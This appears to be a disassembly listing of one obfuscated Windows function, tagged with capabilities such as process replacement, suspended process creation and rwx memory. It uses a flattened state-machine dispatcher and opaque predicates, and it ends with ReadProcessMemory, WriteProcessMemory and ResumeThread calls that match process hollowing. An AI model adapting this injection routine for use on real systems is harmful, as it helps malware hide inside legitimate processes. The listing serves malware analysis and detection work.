Function at 0x1000c800
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x208
mov eax, dword [0x10092080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x210], 0xf55d93b6
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x214], eax
sub eax, 0x80dc4c19
je 0x10014e7d
jmp 0x1000c83c
mov eax, dword [ebp - 0x214]
sub eax, 0x811dcfc5
je 0x100111d9
jmp 0x1000c852
mov eax, dword [ebp - 0x214]
sub eax, 0x819bfd36
je 0x1001a4b4
jmp 0x1000c868
mov eax, dword [ebp - 0x214]
sub eax, 0x819f231b
je 0x100131a3
jmp 0x1000c87e
mov eax, dword [ebp - 0x214]
sub eax, 0x81b31acc
je 0x1001a122
jmp 0x1000c894
mov eax, dword [ebp - 0x214]
sub eax, 0x8210bcfd
je 0x100150fd
jmp 0x1000c8aa
mov eax, dword [ebp - 0x214]
sub eax, 0x825549df
je 0x1001aa17
jmp 0x1000c8c0
mov eax, dword [ebp - 0x214]
sub eax, 0x8271a296
je 0x1001a86d
jmp 0x1000c8d6
mov eax, dword [ebp - 0x214]
sub eax, 0x82943566
je 0x100137f8
jmp 0x1000c8ec
mov eax, dword [ebp - 0x214]
sub eax, 0x82dcbc28
je 0x100179b5
jmp 0x1000c902
mov eax, dword [ebp - 0x214]
sub eax, 0x83019bfb
je 0x100138c7
jmp 0x1000c918
mov eax, dword [ebp - 0x214]
sub eax, 0x83a508a2
je 0x10019786
jmp 0x1000c92e
mov eax, dword [ebp - 0x214]
sub eax, 0x83ab9f1f
je 0x100138d6
jmp 0x1000c944
mov eax, dword [ebp - 0x214]
sub eax, 0x83c11845
je 0x1001711a
jmp 0x1000c95a
mov eax, dword [ebp - 0x214]
sub eax, 0x83c6dc81
je 0x10016a44
jmp 0x1000c970
mov eax, dword [ebp - 0x214]
sub eax, 0x83cd59f1
je 0x1001a73f
jmp 0x1000c986
mov eax, dword [ebp - 0x214]
sub eax, 0x84763883
je 0x10015291
jmp 0x1000c99c
mov eax, dword [ebp - 0x214]
sub eax, 0x84dc0492
je 0x10017d9d
jmp 0x1000c9b2
mov eax, dword [ebp - 0x214]
sub eax, 0x8590c663
je 0x100159cf
jmp 0x1000c9c8
mov eax, dword [ebp - 0x214]
sub eax, 0x8599bdc1
je 0x10011d4d
jmp 0x1000c9de
mov eax, dword [ebp - 0x214]
sub eax, 0x85aa80ff
je 0x1001183c
jmp 0x1000c9f4
mov eax, dword [ebp - 0x214]
sub eax, 0x85c12a7f
je 0x10017494
jmp 0x1000ca0a
mov eax, dword [ebp - 0x214]
sub eax, 0x8614b669
je 0x1001602c
jmp 0x1000ca20
mov eax, dword [ebp - 0x214]
sub eax, 0x8659a27f
je 0x1001a159
jmp 0x1000ca36
mov eax, dword [ebp - 0x214]
sub eax, 0x87c33c61
je 0x1001a79c
jmp 0x1000ca4c
mov eax, dword [ebp - 0x214]
sub eax, 0x87fa5541
je 0x10011755
jmp 0x1000ca62
mov eax, dword [ebp - 0x214]
sub eax, 0x882578e2
je 0x10014f7c
jmp 0x1000ca78
mov eax, dword [ebp - 0x214]
sub eax, 0x88705c92
je 0x10014a76
jmp 0x1000ca8e
mov eax, dword [ebp - 0x214]
sub eax, 0x8897d2ff
je 0x10011a22
jmp 0x1000caa4
mov eax, dword [ebp - 0x214]
sub eax, 0x88a3196a
je 0x1001704e
jmp 0x1000caba
mov eax, dword [ebp - 0x214]
sub eax, 0x88ab43cc
je 0x10015f56
jmp 0x1000cad0
mov eax, dword [ebp - 0x214]
sub eax, 0x88c88eed
je 0x10017e54
jmp 0x1000cae6
mov eax, dword [ebp - 0x214]
sub eax, 0x89783f28
je 0x1001a5d7
jmp 0x1000cafc
mov eax, dword [ebp - 0x214]
sub eax, 0x8a1c60c6
je 0x100180ec
jmp 0x1000cb12
mov eax, dword [ebp - 0x214]
sub eax, 0x8a490a76
je 0x1001565a
jmp 0x1000cb28
mov eax, dword [ebp - 0x214]
sub eax, 0x8ab6dcb7
je 0x10011fa9
jmp 0x1000cb3e
mov eax, dword [ebp - 0x214]
sub eax, 0x8adaca0e
je 0x10016395
jmp 0x1000cb54
mov eax, dword [ebp - 0x214]
sub eax, 0x8cfff8ba
je 0x10015a05
jmp 0x1000cb6a
mov eax, dword [ebp - 0x214]
sub eax, 0x8d2dc3bf
je 0x100172e4
jmp 0x1000cb80
mov eax, dword [ebp - 0x214]
sub eax, 0x8d66cedd
je 0x10013379
jmp 0x1000cb96
mov eax, dword [ebp - 0x214]
sub eax, 0x8d926f33
je 0x100122e2
jmp 0x1000cbac
mov eax, dword [ebp - 0x214]
sub eax, 0x8dfb475a
je 0x1001807e
jmp 0x1000cbc2
mov eax, dword [ebp - 0x214]
sub eax, 0x8e217802
je 0x10018458
jmp 0x1000cbd8
mov eax, dword [ebp - 0x214]
sub eax, 0x8e34c064
je 0x1001584b
jmp 0x1000cbee
mov eax, dword [ebp - 0x214]
sub eax, 0x8eaf7b05
je 0x1001a401
jmp 0x1000cc04
mov eax, dword [ebp - 0x214]
sub eax, 0x8ef6ef97
je 0x1001aa58
jmp 0x1000cc1a
mov eax, dword [ebp - 0x214]
sub eax, 0x8f8ec0bb
je 0x10015f3b
jmp 0x1000cc30
mov eax, dword [ebp - 0x214]
sub eax, 0x8fd35faa
je 0x10018a24
jmp 0x1000cc46
mov eax, dword [ebp - 0x214]
sub eax, 0x903e3f4a
je 0x10016570
jmp 0x1000cc5c
mov eax, dword [ebp - 0x214]
sub eax, 0x90afaa23
je 0x10016b40
jmp 0x1000cc72
mov eax, dword [ebp - 0x214]
sub eax, 0x90eecb8c
je 0x100137d7
jmp 0x1000cc88
mov eax, dword [ebp - 0x214]
sub eax, 0x91c26bb2
je 0x1001a897
jmp 0x1000cc9e
mov eax, dword [ebp - 0x214]
sub eax, 0x926d356b
je 0x100179ee
jmp 0x1000ccb4
mov eax, dword [ebp - 0x214]
sub eax, 0x92b1c1a5
je 0x10019a1b
jmp 0x1000ccca
mov eax, dword [ebp - 0x214]
sub eax, 0x9334ef0d
je 0x100116d3
jmp 0x1000cce0
mov eax, dword [ebp - 0x214]
sub eax, 0x942d56cf
je 0x1001a20d
jmp 0x1000ccf6
mov eax, dword [ebp - 0x214]
sub eax, 0x9447da1f
je 0x10013e15
jmp 0x1000cd0c
mov eax, dword [ebp - 0x214]
sub eax, 0x947f0605
je 0x1001720b
jmp 0x1000cd22
mov eax, dword [ebp - 0x214]
sub eax, 0x949274a5
je 0x10017e63
jmp 0x1000cd38
mov eax, dword [ebp - 0x214]
sub eax, 0x95852ac9
je 0x10015570
jmp 0x1000cd4e
mov eax, dword [ebp - 0x214]
sub eax, 0x960cabca
je 0x1001a266
jmp 0x1000cd64
mov eax, dword [ebp - 0x214]
sub eax, 0x9620d621
je 0x1001146c
jmp 0x1000cd7a
mov eax, dword [ebp - 0x214]
sub eax, 0x9648e48b
je 0x10014a97
jmp 0x1000cd90
mov eax, dword [ebp - 0x214]
sub eax, 0x966b4573
je 0x10013d0a
jmp 0x1000cda6
mov eax, dword [ebp - 0x214]
sub eax, 0x9717351f
je 0x10018bd8
mov byte [ebp - 0x1e1], 1
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
mov edx, ecx
add edx, 0x8cba8f78
sub edx, 1
sub edx, 0x8cba8f78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb64ba434
mov ecx, 0x561b1e79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dl, 1
mov eax, 0xf978746a
mov ecx, 0x29d00430
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
cmp dword [ebp - 0x1e8], 0xefb8f0a
setle al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x210], 0xb951e2ab
jmp 0x1001ab27
mov dword [ebp - 0x1e8], 1
mov dword [ebp - 0x210], 0xb7e40431
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x9ad8bbd7
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x373086fd
jmp 0x1001ab27
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x210], 0x99fe9dcb
jmp 0x1001ab27
mov edx, dword [ebp - 0x114]
mov eax, 0xf3bc8c69
mov ecx, 0x2b231c9b
cmp edx, 0xefb8f07
cmovle eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
sub edx, 0x31e45a44
sub edx, 1
add edx, 0x31e45a44
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73a85c74
mov ecx, 0x4c8488b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x208], 0xefb8ecb
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x210], 0x50a1d1d7
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xbe3dc727
jmp 0x1001ab27
mov dl, byte [ebp - 0xe8]
mov eax, 0x82943566
mov ecx, 0x83ab9f1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [ebp - 0x1dc]
mov byte [eax], 1
mov dword [ebp - 0x210], 0x7910e021
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x1831dcb
jmp 0x1001ab27
mov eax, dword [ebp - 0x1dc]
mov byte [eax], 1
mov dword [ebp - 0x210], 0x790348e1
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xdb2432ed
jmp 0x1001ab27
mov eax, dword [ebp - 0x1d8]
mov byte [eax], 1
mov dword [ebp - 0x210], 0x3440ac59
jmp 0x1001ab27
mov dl, byte [ebp - 0xdd]
mov eax, 0x33d500bf
mov ecx, 0x9648e48b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [ebp - 0x1cc]
mov eax, dword [eax]
sub eax, 0x6da49be
add eax, 1
add eax, 0x6da49be
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x210], 0x15a0a9e2
jmp 0x1001ab27
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
add edx, 0x1b7ddec3
sub edx, 1
sub edx, 0x1b7ddec3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5c89957
mov ecx, 0xaed379ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
mov edx, ecx
sub edx, 0x6ab6c843
sub edx, 1
add edx, 0x6ab6c843
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x50933c37
mov ecx, 0x2b9f29e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dl, byte [ebp - 0xc8]
mov eax, 0x98e1badd
mov ecx, 0xb772a49e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dl, 1
mov eax, 0xe47d5326
mov ecx, 0xb2951885
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf52dc24c
mov ecx, 0x44d43255
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [ebp - 0x1c0]
mov byte [eax], 0
mov dword [ebp - 0x210], 0x7ff5c26c
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2e6c46e3
mov ecx, 0x4fc81cb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x102842b0
jmp 0x1001ab27
mov dl, 1
mov eax, 0xa0dd900d
mov ecx, 0x2e0bc8a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [ebp - 0x1b8]
mov dword [eax], 0
mov dword [ebp - 0x210], 0x88ab43cc
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
add edx, 0x1a84e9e2
sub edx, 1
sub edx, 0x1a84e9e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89783f28
mov ecx, 0x3f789ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x6b6db6e5
jmp 0x1001ab27
mov eax, dword [ebp - 0x1b0]
mov byte [eax], 1
mov dword [ebp - 0x210], 0xc7572c1d
jmp 0x1001ab27
mov eax, dword [ebp - 0x1ac]
mov dword [eax], 0xefb8f1b
mov dword [ebp - 0x210], 0x62c279c3
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf0c8f07
mov ecx, 0x7e26e192
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
add edx, 0xc51f8400
sub edx, 1
sub edx, 0xc51f8400
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe83636e
mov ecx, 0x7c202e46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
sub edx, 0x616c4937
sub edx, 1
add edx, 0x616c4937
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7525e621
mov ecx, 0x5f79336f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x6ac7cc15
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x575452f8
jmp 0x1001ab27
mov eax, dword [ebp - 0x1a0]
mov dword [eax], 0
mov dword [ebp - 0x210], 0x4eab7d00
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x98ac7165
jmp 0x1001ab27
mov eax, dword [ebp - 0x19c]
mov dword [eax], 0
mov dword [ebp - 0x210], 0x5e342b68
jmp 0x1001ab27
mov eax, dword [ebp - 0x198]
mov dword [eax], 0xefb8edb
mov eax, dword [ebp - 0x198]
cmp dword [eax], 0xefb8ec5
setg al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x210], 0x24f20a4
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56b51729
mov ecx, 0xd68b905c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x949274a5
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
mov edx, ecx
add edx, 0x9103809b
sub edx, 1
sub edx, 0x9103809b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc92e6aea
mov ecx, 0xc6bd6f61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x65a104eb
mov ecx, 0x8a1c60c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65a104eb
mov ecx, 0x24ce7875
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov ecx, dword [0x1009353c]
mov eax, dword [0x10093538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xde4338e4
mov ecx, 0xd6ba7649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xd16524e1
jmp 0x1001ab27
mov eax, dword [0x1009353c]
mov ecx, dword [0x10093538]
mov edx, eax
add edx, 0x38aeba86
sub edx, 1
sub edx, 0x38aeba86
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad3e3eae
mov ecx, 0xf00b33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x210], eax
jmp 0x1001ab27
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x210], 0xe97cde53
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xebc81029
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x32f58c2a
jmp 0x1001ab27
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x210], 0xa0d644cc
jmp 0x1001ab27
mov byte [ebp - 0x209], 0
mov dword [ebp - 0x210], 0x64caef6e
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xa8470246
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x1bdd210e
jmp 0x1001ab27
mov dword [ebp - 0x210], 0x3f789ae
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xd76eedb5
jmp 0x1001ab27
mov dword [ebp - 0x210], 0xb34ea34d
jmp 0x1001ab27
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x210], 0xd02a89ba
jmp 0x1001ab27
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x210], 0x7481f399
jmp 0x1001ab27
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x210], 0xe7a09d04
jmp 0x1001ab27
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x17c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x168]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x210], 0xd6f0aad7
jmp 0x1001ab27
jmp 0x1000c820